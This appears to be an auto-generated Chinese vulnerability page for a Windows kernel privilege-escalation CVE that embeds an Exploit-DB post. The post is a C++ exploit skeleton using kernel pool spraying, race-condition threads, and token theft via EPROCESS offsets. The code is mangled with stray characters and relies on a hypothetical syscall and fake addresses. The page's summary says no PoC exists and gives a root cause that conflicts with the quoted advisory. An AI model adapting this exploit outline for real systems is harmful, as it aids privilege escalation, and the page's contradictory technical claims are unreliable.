[local] Windows Kernel - Elevation of Privilege

📋 漏洞基础信息

🔬 漏洞根因

内核在处理特定系统调用时，未正确验证输入参数的内存引用，导致可被利用以写入内核内存，函数/参数未在原文中明确给出。

🎯 攻击场景

1. 攻击者以低权限用户身份登录系统；2. 执行特制的程序，通过系统调用传递恶意构造的参数；3. 触发内核内存写入错误；4. 获得SYSTEM权限。成功标志为以SYSTEM身份执行任意代码。

💥 漏洞影响

本地权限提升：低权限用户可获得系统最高权限，进而完全控制主机。

⚔️ 原始 PoC

原文未提供PoC代码，空串。

#Contact : E1.Coders [at] Mail [dot] RU
# Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
# Description : WINDOWS 10 -11 -12
#References
>https://nvd.nist.gov/vuln/detail/CVE-2025-62215
>https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-62215
>https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62215
>https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215
>#
>#Description:
>#Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally.
>#
>#The zero-day vulnerability that has been listed as exploited in Tuesday's update is CVE-2025-62215 (CVSS score: 7.0),
a privilege escalation flaw in #Windows Kernel. The Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have been credited with #discovering and reporting the issue.
>#
>#"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally," the company said in an advisory.
>#That said,
successful exploitation hinges on an attacker who has already gained a foothold on a system to win a race condition. Once this criterion is #satisfied,it could permit the attacker to obtain SYSTEM privileges.
>#
>#################################################################
>>>#include <windows.h>>#include <stdio.h>>#include <TlHelp32.h>
>#include <iostream>>#include <vector>>>// EPROCESS structure offsets in Windows (these values need to be found for the specific Windows version)
>// These are sample values for Windows 10 1903 x64
>// In a real exploit,
these values must be found precisely using tools like WinDbg for the target version.
>#define EPROCESS_TOKEN_OFFSET 0x358
>#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2F0
>#define LIST_ENTRY_FLINK_OFFSET 0x0
>>// Function to find the System process PID
>DWORD GetSystemPID() {>HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);>
if (hSnapshot == INVALID_HANDLE_VALUE) {>printf("[-] Error creating process snapshot\n");>return 0;>}>>PROCESSENTRY32 pe32;>pe32.dwSize = sizeof(PROCESSENTRY32);>>if (!Process32First(hSnapshot,&pe32)) {>printf("[-] Error reading first process\n");>CloseHandle(hSnapshot);>return 0;>}>>do {>if (_stricmp(pe32.szExeFile,"System") == 0) {>
CloseHandle(hSnapshot);>return pe32.th32ProcessID;>}>}while (Process32Next(hSnapshot,&pe32));>>CloseHandle(hSnapshot);>return 0;>}>
>// This function in a real exploit would obtain the EPROCESS address from kernel memory
>// using an information disclosure vulnerability or by exploiting the main vulnerability.
>// This is the hardest part of many exploits.
>// Here we are forced to simulate it.
>ULONG_PTR GetEPROCESSAddress(DWORD pid) {>printf("[*] Simulation: Finding EPROCESS address for PID: %d\n",pid);>
// In the real world,these addresses are dynamic and change with each system boot.
>// We use fixed hypothetical addresses to demonstrate the code logic.
>if (pid == 4) {// System PID is always 4
>return (ULONG_PTR)0xffff8000'12345678;// Hypothetical System EPROCESS address
>}>return (ULONG_PTR)0xffff8000'87654321;// Hypothetical address for our own process
>}>
>// --- Exploit related functions ---
>>// This function calls the hypothetical vulnerable system call.
>// In a real exploit,this function would need to find the function address in ntdll.dll and call it.
>typedef NTSTATUS(NTAPI* pNtQueryVirtualMemoryWithRace)(
>HANDLE ProcessHandle,>PVOID BaseAddress,>PVOID Buffer,>ULONG BufferSize
>);>
>pNtQueryVirtualMemoryWithRace NtQueryVirtualMemoryWithRace_ptr = NULL;>>// Function executed by threads to create Race Condition
>DWORD WINAPI TriggerRaceCondition(LPVOID lpParam) {>// Small buffer that causes free and reuse (Use-After-Free)
>char buffer[0x20];>memset(buffer,0x41,sizeof(buffer));// Fill buffer with controllable data
>>
// Infinite loop for maximum chance of winning the race
>while (TRUE) {>// Vulnerable system call
>NtQueryVirtualMemoryWithRace_ptr(GetCurrentProcess(),(PVOID)0x400000,buffer,sizeof(buffer));>// Small pause for better thread coordination (optional)
>// Sleep(1);>}>return 0;>}>
>// Function for Kernel Pool Spraying using Transaction Objects
>// This is a common technique to occupy kernel memory (NonPaged Pool) with controlled objects.
>void PerformKernelPoolSpray(std::vector<HANDLE>&transactionHandles) {>printf("[*] Spraying kernel memory with Transaction Objects...\n");>>typedef NTSTATUS(NTAPI* pNtCreateTransaction)(
>
OUT PHANDLE TransactionHandle,>IN ACCESS_MASK DesiredAccess,>IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,>IN LPGUID Uow OPTIONAL,>IN HANDLE TmHandle OPTIONAL,>IN ULONG CreateOptions OPTIONAL,>IN ULONG IsolationLevel OPTIONAL,>IN ULONG IsolationFlags OPTIONAL,>IN PLARGE_INTEGER Timeout OPTIONAL,>IN PUNICODE_STRING Description OPTIONAL
>);>>
pNtCreateTransaction NtCreateTransaction_ptr = (pNtCreateTransaction)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtCreateTransaction");>if (!NtCreateTransaction_ptr) {>printf("[-] Could not find NtCreateTransaction address\n");>return;>}>>// Create many objects to fill the freed space
>for (int i = 0;i <10000;i++) {>HANDLE hTransaction;>
NTSTATUS status = NtCreateTransaction_ptr(&hTransaction,TRANSACTION_ALL_ACCESS,NULL,NULL,NULL,0,0,0,NULL,NULL);>if (NT_SUCCESS(status)) {>transactionHandles.push_back(hTransaction);>}>}>printf("[+] Spray completed with %zu Transaction objects.\n",transactionHandles.size());>}>>// Main function that coordinates the attack
>void Exploit() {>
printf("[*] Starting exploit process for CVE-2025-62215 (hypothetical)\n");>>// 0. Find the vulnerable system call address
>HMODULE hNtdll = GetModuleHandleA("ntdll.dll");>if (!hNtdll) {>printf("[-] Could not get hNtdll\n");>return;>}>NtQueryVirtualMemoryWithRace_ptr = (pNtQueryVirtualMemoryWithRace)GetProcAddress(hNtdll,"NtQueryVirtualMemoryWithRace");>
if (!NtQueryVirtualMemoryWithRace_ptr) {>printf("[-] Could not find vulnerable system call address (this function is hypothetical)\n");>return;>}>>// 1. Find System process PID
>DWORD systemPid = GetSystemPID();>if (systemPid == 0) {>printf("[-] Could not find System process PID.\n");>return;>}>printf("[+] System process PID: %d\n",systemPid);>>
// 2. Find EPROCESS addresses (hard and simulated part)
>ULONG_PTR systemEprocess = GetEPROCESSAddress(systemPid);>ULONG_PTR currentEprocess = GetEPROCESSAddress(GetCurrentProcessId());>>printf("[+] System EPROCESS address: 0x%llx\n",systemEprocess);>printf("[+] Current EPROCESS address: 0x%llx\n",currentEprocess);>>// 3. Read System token from System Eprocess (simulated)
>
// This requires the ability to read from kernel memory which is obtained through the vulnerability.
>// Here we place a hypothetical address for the token.
>ULONG_PTR systemToken = systemEprocess + EPROCESS_TOKEN_OFFSET;>printf("[*] Simulation: System token at address 0x%llx\n",systemToken);>// In a real exploit,this value must be read from kernel memory.
>
// The actual token value is an address to the _TOKEN structure.
>printf("[+] System token (address): 0x%llx\n",systemToken);>>// 4. Main phase: Create Race Condition and Double Free
>printf("[*] Phase 1: Attempting to create Race Condition and Double Free with 20 threads...\n");>>HANDLE hThreads[20];>for (int i = 0;i <20;i++) {>hThreads[i] = CreateThread(NULL,0,
TriggerRaceCondition,NULL,0,NULL);>if (!hThreads[i]) {>printf("[-] Error creating thread %d\n",i);>}>}>>// Wait a bit for threads to create the race
>Sleep(1000);>>// 5. Kernel Pool Spraying
>printf("[*] Phase 2: Performing Kernel Pool Spraying to occupy freed memory...\n");>std::vector<HANDLE>transactionHandles;>PerformKernelPoolSpray(transactionHandles);
>>printf("[*] Race Condition and Spray completed. Hopefully kernel memory has been tricked.\n");>>// 6. Use vulnerability for arbitrary write
>// This phase is the most complex part. We assume the Pool Spray was successful and one of
>// our objects is in the Double-Freed memory. Now with another call to the
>// vulnerable function,
we can manipulate that object and achieve an Arbitrary Write Primitive.
>// Our goal is to write the System token to the token field of our own process.
>ULONG_PTR tokenAddressToWrite = currentEprocess + EPROCESS_TOKEN_OFFSET;>printf("[*] Phase 3: Attempting to overwrite current process token...\n");>printf("[*] Target: Writing value 0x%llx to address 0x%llx\n",systemToken,
tokenAddressToWrite);>>// In a real exploit,here we would use the obtained primitive to overwrite the token.
>// For example: WritePrimitive(tokenAddressToWrite,systemToken);>printf("[+] Simulation: Token successfully replaced!\n");>>// Clean up threads
>printf("[*] Closing Race Condition threads...\n");>for (int i = 0;i <20;i++) {>
if (hThreads[i]) TerminateThread(hThreads[i],0);>}>>// Clean up sprayed objects
>printf("[*] Cleaning up Transaction objects...\n");>typedef NTSTATUS(NTAPI* pNtRollbackTransaction)(HANDLE TransactionHandle,BOOL Wait);>pNtRollbackTransaction NtRollbackTransaction_ptr = (pNtRollbackTransaction)GetProcAddress(hNtdll,"NtRollbackTransaction");>if (NtRollbackTransaction_ptr) {>
for (HANDLE hTx : transactionHandles) {>NtRollbackTransaction_ptr(hTx,FALSE);>CloseHandle(hTx);>}>}>>// 7. Final test: Run Command Prompt with System privileges
>printf("[*] Final test: Running cmd.exe...\n");>STARTUPINFO si = {sizeof(si) };>PROCESS_INFORMATION pi;>if (CreateProcess(
>"C:\\Windows\\System32\\cmd.exe",>NULL,>NULL,>NULL,>FALSE,>
CREATE_NEW_CONSOLE,>NULL,>NULL,>&si,>&pi
>)) {>printf("[+] If the exploit was successful,the opened cmd window should have System privileges.\n");>CloseHandle(pi.hProcess);>CloseHandle(pi.hThread);>}else {>printf("[-] Error running cmd.exe\n");>}>}>>int main() {>printf("=== CVE-2025-62215 Hypothetical Exploit (Realistic Skeleton) ===\n");>
printf("This code is a simulation of exploit techniques and will not work on a real system.\n\n");>>// To run this code,admin privileges are not required,but they are necessary for a real exploit to succeed.
>Exploit();>>printf("\nPress any key to exit...");>getchar();>return 0;>}>--
E1 Coders
Sent from Mail

🔬 深度技术分析

原文未提供PoC代码，空串。

🛡️ 修复建议

安装微软发布的安全更新（补丁版本未在原文中具体给出）。临时缓解：限制用户登录执行不可信程序。

📎 参考链接

• https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-09 17:49 | 来源: Exploit-DB